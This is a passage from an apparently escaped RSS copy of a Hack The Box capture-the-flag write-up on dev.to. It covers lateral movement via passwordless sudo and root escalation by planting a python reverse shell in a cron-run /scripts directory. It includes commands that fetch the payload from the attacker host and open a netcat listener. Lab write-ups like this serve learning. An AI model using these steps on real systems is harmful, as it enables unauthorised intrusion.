  
  Reverse Shell
&lt;/h5&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qvC0pOZI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/anz2m6esuqczb1yjjqsj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qvC0pOZI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/anz2m6esuqczb1yjjqsj.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a proper shell we can do some enumeration and also read the user flag&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--s4t9Kdrc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wxcuu329pkw32deohsvs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--s4t9Kdrc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wxcuu329pkw32deohsvs.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
We can also see that there is a user &lt;code&gt;scriptmanager&lt;/code&gt; who we could escalate privelages to&lt;br&gt;
&lt;code&gt;sudo -l&lt;/code&gt; - will tell use what commands we can run as other users&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Ts-VNNfA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h56pqcy4uycdk90hgh73.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Ts-VNNfA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/h56pqcy4uycdk90hgh73.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
As we can run every command -  &lt;code&gt;All&lt;/code&gt; as &lt;code&gt;scriptmanger&lt;/code&gt; with no password, we can just spawn a shell as them using the bash command&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo -u scriptmanager /bin/bash&lt;/code&gt; - will get us a shell as scriptmanger&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pZO1Lq8a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/v8dtetz5zu061uieplyt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pZO1Lq8a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/v8dtetz5zu061uieplyt.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Privelage Escalation from scriptmanger to root
&lt;/h4&gt;

&lt;p&gt;After some manual enumeration of the system there appears to be an unusual directory, &lt;code&gt;/scripts&lt;/code&gt; which contains &lt;code&gt;test.py&lt;/code&gt; and &lt;code&gt;test.txt&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3hXTZMuR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/rpcza4tghrvseioryd14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3hXTZMuR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/rpcza4tghrvseioryd14.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
This python script seems to be run by some process, probably a cron job, we could try to exploit this by uploading a malicious python reverse shell to get a shell as root.&lt;br&gt;
&lt;code&gt;cp rev.py revroot.py&lt;/code&gt; &lt;code&gt;cat revroot.py&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Z7ChO8q3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/a7uymwadgmb0sdo96rlj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Z7ChO8q3--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/a7uymwadgmb0sdo96rlj.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
Notice how our &lt;code&gt;revroot.py&lt;/code&gt; file has a different port then out inital &lt;code&gt;rev.py&lt;/code&gt; shell, this is so it does not interfere with our existing reverse shell.&lt;/p&gt;

&lt;p&gt;We will upload &lt;code&gt;revroot.py&lt;/code&gt; to the box using the same python http server&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9ecTDwfB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2y4ixykp1b5vsc2330qf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9ecTDwfB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/2y4ixykp1b5vsc2330qf.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;br&gt;
&lt;code&gt;wget 10.10.14.17\revroot.py&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DynbIZzH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/gxu3hs1na6sbboxgys2t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DynbIZzH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/gxu3hs1na6sbboxgys2t.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now all we have to do is open a new netcat listener on port 1337 and wait&lt;br&gt;
&lt;code&gt;nc -lvnp 1337&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2OggjZXl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bgasnnw8iksrgizmkb1x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2OggjZXl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/bgasnnw8iksrgizmkb1x.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Rooted!
&lt;/h4&gt;

&lt;p&gt;If you enjoyed my writeup or found it useful consider checking out my github or my hackthebox profile.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2M5MFGAQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/http://www.hackthebox.eu/badge/image/210952" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2M5MFGAQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/http://www.hackthebox.eu/badge/image/210952" alt="Hack The Box"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://dev.to/71xn"&gt;&lt;br&gt;
  &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bQ9x1qu_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://d2fltix0v2e0sb.cloudfront.net/dev-badge.svg" alt="Finn Lestrange's DEV Profile" height="30" width="30"&gt;&lt;br&gt;
&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
    </item>
  </channel>
</rss>
